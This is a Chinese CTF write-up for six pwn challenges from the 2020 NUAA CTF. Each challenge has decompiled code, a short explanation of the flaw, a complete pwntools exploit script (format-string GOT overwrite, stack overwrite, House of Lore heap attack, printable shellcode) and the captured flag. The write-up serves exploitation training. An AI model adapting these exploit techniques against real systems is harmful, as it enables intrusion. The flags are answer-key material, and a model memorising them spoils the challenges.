【WriteUp】2020-NUAA-CTF -- Pwn 题解

pwn1-first-pwn

Description:

49.235.243.206 10501

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

main 函数如下:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  sub_4006D6();
  return 0LL;
}

sub_4006D6 函数如下:

unsigned __int64 sub_4006D6()
{
  __int64 buf; // [rsp+10h] [rbp-30h]
  __int64 v2; // [rsp+18h] [rbp-28h]
  __int64 v3; // [rsp+20h] [rbp-20h]
  __int64 v4; // [rsp+28h] [rbp-18h]
  int v5; // [rsp+30h] [rbp-10h]
  unsigned __int64 v6; // [rsp+38h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  buf = 0LL;
  v2 = 0LL;
  v3 = 0LL;
  v4 = 0LL;
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  read(0, &buf, 0x28uLL);
  if ( v5 )
    sub_4007B8();
  return __readfsqword(0x28u) ^ v6;
}

sub_4007B8 函数如下:

int sub_4007B8()
{
  return system("/bin/sh");
}

解题思路:

变量覆盖漏洞,给了后门挺简单的,就输入两次 ls 就能看到终端了

Flag:

flag{1325777C4AD2FC214638AFACD632CAB9}

pwn2-baby-format

Description:

49.235.243.206 10502

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

main 函数如下:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  sub_4006D6();
  return 0LL;
}

sub_4006D6 函数如下:

unsigned __int64 sub_4006D6()
{
  signed int i; // [rsp+Ch] [rbp-114h]
  char buf; // [rsp+10h] [rbp-110h]
  unsigned __int64 v3; // [rsp+118h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    read(0, &buf, 0x40uLL);
    printf(&buf, &buf);
  }
  return __readfsqword(0x28u) ^ v3;
}

解题思路:

正常的格式化字符串漏洞,改 got 表为 one_gadget 即可

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch='amd64', endian='el', os='linux')
# context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('49.235.243.206', 10502)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./chall', checksec=False)
got_read = elf.got['read']
libc_one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

p.sendline('%45$p.tmp')

addr___libc_start_main = int(p.recvuntil('.tmp')[:-4], 16) - 240
libcbase = addr___libc_start_main - libc.sym['__libc_start_main']
addr_one_gadget = libcbase + libc_one_gadget[0]

# gdb.attach(p, "b *0x400729\nc")
num = addr_one_gadget & 0xff
pd = '%' + str(num) + 'c%15$hhn'
pd += '%' + str((addr_one_gadget >> 8 & 0xffff) - num) + 'c%14$hn'
pd = pd.ljust(0x30, '\x00')
pd += p64(got_read + 1)
pd += p64(got_read)
p.sendline(pd)
p.recvuntil('  @')
p.sendline('sh')
success('addr___libc_start_main = ' + hex(addr___libc_start_main))
success('addr_one_gadget        = ' + hex(addr_one_gadget))
p.interactive()

Flag:

flag{7221CB4A535A0F5E4C47F5FEEC64C952}

pwn3-baby-rop

Description:

49.235.243.206 10503

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

main 函数如下:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  sub_4006D6();
  return 0LL;
}

sub_4006D6 函数如下:

unsigned __int64 sub_4006D6()
{
  char v1[32]; // [rsp+0h] [rbp-40h]
  int v2; // [rsp+20h] [rbp-20h]
  int v3; // [rsp+28h] [rbp-18h]
  unsigned __int64 v4; // [rsp+38h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v3 = 0;
  v2 = 0;
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  while ( v3 <= 0x2F )
  {
    read(0, &v1[v2++], 1uLL);
    ++v3;
  }
  return __readfsqword(0x28u) ^ v4;
}

sub_4007FB 函数如下:

int sub_4007FB()
{
  return system("/bin/sh");
}

解题思路:

覆盖循环变量为 ret 的所在位置的数值,然后直接写后门提权

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch='amd64', endian='el', os='linux')
# context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('49.235.243.206', 10503)
addr_target = 0x4007FB

pd = '\x00' * 0x20
pd += p64(0x40)
pd += p64(addr_target)
p.sendline(pd)
p.interactive()

Flag:

flag{E291A9922B72C69900DC4D0BB1E29BDE}

pwn4-easy-heap

Description:

49.235.243.206 10504

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

main 函数如下:

void __fastcall main(__int64 a1, char **a2, char **a3)
{
  init_0();
  puts("Welcome to message manager!");
  while ( 1 )
  {
    menu();
    switch ( read_atoi() )
    {
      case 0:
        info();
        break;
      case 1:
        add();
        break;
      case 2:
        delete();
        break;
      case 3:
        edit();
        break;
      case 4:
        show();
        break;
      case 5:
        exit(0);
        return;
      default:
        puts("Wrong choice!!!");
        break;
    }
  }
}

init_0 函数如下:

int init_0()
{
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  return setvbuf(stderr, 0LL, 1, 0LL);
}

menu 函数如下:

int menu()
{
  puts("0. Set info.");
  puts("1. Add message.");
  puts("2. Delete message.");
  puts("3. Edit message.");
  puts("4. Show message.");
  puts("5. Exit.");
  return puts("Your choice:");
}

read_atoi 函数如下:

int read_atoi()
{
  char buf[24]; // [rsp+10h] [rbp-20h]
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  buf[read(0, buf, 9uLL)] = 0;
  return atoi(buf);
}

info 函数如下:

ssize_t info()
{
  puts("What's your name?");
  read(0, &unk_602100, 0x20uLL);
  puts("What's your desc?");
  return read(0, &unk_602120, 0x20uLL);
}

add 函数如下:

int add()
{
  signed int i; // [rsp+8h] [rbp-8h]
  int v2; // [rsp+Ch] [rbp-4h]

  for ( i = 0; buf[i]; ++i )
    ;
  if ( i > 9 )
    return puts("Too many message!");
  puts("How long is this message?");
  v2 = read_atoi();
  if ( v2 > 0x3F8 || v2 <= 0x78 )
    return puts("Error size!");
  buf[i] = malloc(v2);
  *(&nbytes + i) = v2;
  return printf("Add successfully.Ptr: %x\n", buf[i]);
}

delete 函数如下:

int delete()
{
  int v1; // [rsp+Ch] [rbp-4h]

  puts("What is the index of the message to be deleted?");
  v1 = read_atoi();
  if ( v1 < 0 || v1 > 9 || !buf[v1] )
    return puts("Delete failed.");
  free(buf[v1]);
  return puts("Delete successfully.");
}

edit 函数如下:

int edit()
{
  int v1; // [rsp+Ch] [rbp-4h]

  puts("What is the index of the item to be modified?");
  v1 = read_atoi();
  if ( v1 < 0 || v1 > 9 || !buf[v1] )
    return puts("Edit failed.");
  puts("What is the content of the message?");
  read(0, buf[v1], *(&nbytes + v1));
  return puts("Edit successfully.");
}

show 函数如下:

int show()
{
  int v1; // [rsp+Ch] [rbp-4h]

  puts("What is the index of the message to be showed?");
  v1 = read_atoi();
  if ( v1 < 0 || v1 > 9 || !buf[v1] )
    return puts("Delete failed.");
  puts(buf[v1]);
  return puts("Delete successfully.");
}

解题思路:

House of Lore 的一道好例题

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('49.235.243.206', 10504)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./chall', checksec=False)


def info(info_name, info_desc):
    p.sendlineafter('choice:\n', '0')
    p.sendafter('name?\n', info_name)
    p.sendafter('desc?\n', info_desc)


def add(add_size):
    p.sendlineafter('choice:\n', '1')
    p.sendafter('message?\n', str(add_size))
    p.recvuntil('.Ptr: ')


def delete(delete_idx):
    p.sendlineafter('choice:\n', '2')
    p.sendlineafter('deleted?\n', str(delete_idx))


def edit(edit_idx, edit_msg):
    p.sendlineafter('choice:\n', '3')
    p.sendlineafter('modified?\n', str(edit_idx))
    p.sendafter('message?\n', edit_msg)


def show(show_idx):
    p.sendlineafter('choice:\n', '4')
    p.sendlineafter('showed?\n', str(show_idx))


fake_chunk = 0x602120
libc_one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
add(0x180)
heapbase = int(p.recvuntil('\n')[:-1], 16)
add(0x180)
delete(0)
show(0)

addr___malloc_hook = u64(p.recv(6).ljust(8, '\x00')) - 0x68
libcbase = addr___malloc_hook - libc.sym['__malloc_hook']
addr___libc_realloc = libcbase + libc.sym['__libc_realloc']
addr_one_gadget = libcbase + libc_one_gadget[1]

pd = p64(0) + p64(0x191)
pd += p64(0) + p64(heapbase)
info('a', pd)
edit(0, p64(0) + p64(fake_chunk))
add(0x180)
add(0x180)
edit(3, 'a' * 0x10 + p64(addr___malloc_hook - 8))
edit(0, p64(addr_one_gadget) + p64(addr___libc_realloc + 12))
# gdb.attach(p, "b malloc\nc")
p.sendlineafter('choice:\n', '1')
p.sendafter('message?\n', str(0x180))
success('heapbase           = ' + hex(heapbase))
success('addr___malloc_hook = ' + hex(addr___malloc_hook))
p.interactive()

Flag:

flag{38E0B6A2926319DAE8EBF1DCD161A331}

pwn5-easy-format

Description:

49.235.243.206 10505

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

main 函数如下:

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  FILE *v3; // rdi

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  v3 = stderr;
  setvbuf(stderr, 0LL, 2, 0LL);
  sub_4006A4(v3, 0LL);
}

sub_4006A4 函数如下:

void __noreturn sub_4006A4()
{
  sub_400676();
}

sub_400676 函数如下:

void __noreturn sub_400676()
{
  while ( 1 )
  {
    read(0, format, 0x40uLL);
    printf(format, format);
  }
}

解题思路:

泄露栈链,之后改写栈上数据为 got_read

将其内容改写为第三个 one_gadget 即可提权(范围差距在 0xffff 以内)

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('49.235.243.206', 10505)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./chall', checksec=False)


def write(off1, n1, off2, n2):
    pd1 = pd2 = ""
    if n1:
        pd1 += "%" + str(n1 & 0xff) + "c"
    pd1 += "%" + str(off1) + "$hhn.tmp"
    pd1 = pd1.ljust(0x30, '\x00')
    
    if n2:
        pd2 += "%" + str(n2 & 0xff) + "c"
    pd2 += "%" + str(off2) + "$hhn.tmp"
    pd2 = pd2.ljust(0x30, '\x00')
    p.sendlineafter('tmp', pd1)
    p.sendlineafter('tmp', pd2)


def fmt(o1, f1, o2, f2):
    for i in range(0, 7):
        write(o1, f1 + i, o2, f2 >> 8 * i)


got_read = elf.got['read']
libc_one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

p.send('%11$p.tmp'.ljust(0x30, '\x00'))

addr___libc_start_main = int(p.recvuntil('.')[:-1], 16) - 240
libcbase = addr___libc_start_main - libc.sym['__libc_start_main']
addr_one_gadget = libcbase + libc_one_gadget[3]

p.sendlineafter('tmp', '%6$p.tmp'.ljust(0x30, '\x00'))
stack_ret = int(p.recvuntil('.')[:-1], 16) + 0x18
# gdb.attach(p, "b *0x40069D\nc")
fmt(6, stack_ret, 8, got_read)
p.sendlineafter('tmp', '%' + str(addr_one_gadget & 0xffff) + 'c%11$hn'.ljust(0x30, '\x00'))
p.recv()
success('addr___libc_start_main = ' + hex(addr___libc_start_main))
success('addr_one_gadget        = ' + hex(addr_one_gadget))
success('stack_ret              = ' + hex(stack_ret))
p.interactive()

Flag:

flag{3DD8600C697604883D8FF17048A6AF37}

pwn6-baby-shellcode

Description:

49.235.243.206 10506

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX disabled
PIE:      No PIE (0x400000)
RWX:      Has RWX segments

main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+4h] [rbp-5Ch]
  char buf[72]; // [rsp+10h] [rbp-50h]
  unsigned __int64 v5; // [rsp+58h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  for ( i = read(0, buf, 0x40uLL) - 1; i >= 0; --i )
  {
    if ( buf[i] <= 31 )
    {
      puts("I GOT YOU");
      exit(0);
    }
  }
  JUMPOUT(__CS__, buf);
}

解题思路:

可写字符串太短了,手搓吧

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('49.235.243.206', 10506)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./chall', checksec=False)

pd = asm('''
push 0x70
pop rdx
push rdi
push rdi
push rdi
sub byte ptr [rsi + 0x22], dl
sub byte ptr [rsi + 0x2a], dl
sub byte ptr [rsi + 0x2e], dl
sub byte ptr [rsi + 0x2f], dl
sub byte ptr [rsi + 0x45], dl
sub byte ptr [rsi + 0x45], dl
sub byte ptr [rsi + 0x45], dl
pop rsi
pop rsi
pop rdx
push 0x3b
pop rax
''')
pd += "\x48\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x70"
pd += asm("""
push rdi
push rsp
pop rdi
""")
pd += "\x7f\x75"
# gdb.attach(p, "b *0x4007F8\nc")
p.send(pd)
p.interactive()

Flag:

flag{A1191C435648EFFC09A90A8A113117A3}
点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注